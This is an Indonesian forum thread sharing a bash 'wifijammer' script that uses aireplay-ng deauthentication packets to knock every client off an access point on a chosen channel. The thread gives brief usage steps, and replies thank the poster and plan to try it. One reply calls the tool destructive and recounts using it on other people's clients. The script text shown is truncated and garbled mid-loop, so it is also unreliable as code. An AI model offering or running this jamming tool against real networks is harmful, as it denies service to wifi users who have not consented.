Jamming hotspot dengan script wifijamer
#1
Selamat sore

Berikut ini saya post script wifijammer (http://code.google.com/p/wifijammer/)

Dimana script ini berfungsi memblok semua akses ke sebuah akses point berdasarkan channel yang digunakan berdasarkan fungsi deauthentication pada aireplay-ng

berikut isi dari script wifijammer.sh
Code:
--------------------------------------------------------------------
#!/bin/bash
# This is a bash based wifi jammer. It uses your wifi card
# to continuously send de-authenticate packets to every client
# on a specified channel... at lest thats what its suppose to do.
# This program needs the Aircrack-ng suit to function
# - and a wifi card that works with aircrack.
# Checks if this file is being ran as root.
if [ x"`which id 2> /dev/null`" != "x" ]
then
    USERID="`id -u 2> /dev/null`"
fi
if [ x$USERID = "x" -a x$UID != "x" ]
then
    USERID=$UID
fi
if [ x$USERID != "x" -a x$USERID != "x0" ]
then
    #Guess not
    echo Run it as root ; exit ;
fi
# Changes working directory to the same as this file
DIR="$( cd "$( dirname "$0" )" && pwd )"
cd $DIR
# Sets first command line VAR
WIFIVAR="$1"
#Checks if user specified a WIFI card
if [ x"$WIFIVAR" = x"" ]
then
    echo "No wifi card specified, scanning for available cards (doesnt always work)"
    USWC="no"
else
    echo "Using user specified wifi card ""$WIFIVAR"
    USWC="yes"
fi
if [ x"$USWC" = x"no" ]
then
# Uses Airmon-ng to scan for available wifi cards.
airmon-ng|cut -b 1,2,3,4,5,6,7 > clist01
count=0

    if [ $count -gt 3 ];then
        echo "$LINE" | cut -b 1-7 | tr -d [:space:] >>clist

cara menggunakan cukup mudah tinggal merubah mode script menjadi executeable kemudian memilih target akses point berdasarkan channel yang di gunakan.

untuk screenshoot tidak saya sertakan berhubung impact langsung hanya pada client yang terhubung dengan akses point tersebut

selamat mencoba

buat administrator/mederator jika thread ini sudah ada sebelumnya silahkan di hapus


note:
"ane rapikan ya scriptnya Smile
biar enak dilihat

nice tools om ^_^
thanks udah share,,

keep share yak, +1 dari ane

#3
thx om

#4
Shocked 
maaf om fungsi script itu untuk protect atau attack
maklum pengguna baru

#5
attack om menurut saya,, karena kata om TS

#6
yups..tools tersebut lebih bersifat destruktif,karena akan mencegah client melakukan autentikasi pada akses point ,ini pernah coba pada akses point dimana beberapa client menggunakan netcut/tuxcut dan melakukan arppoisoning..hehehe "something from nothing"

#7
keren.... coba dulu y om....
<<bete|five

#8
mantep omz... izin coba n copas omz.... Smile

#9
izin coba om... tetap berkarya di bumi linux
Security awareness should be the continuing practice of a skill and not the continuous reminder of a threat.

#10
seperti deauth attack ya ... sudah di coba ? did u have poc ?
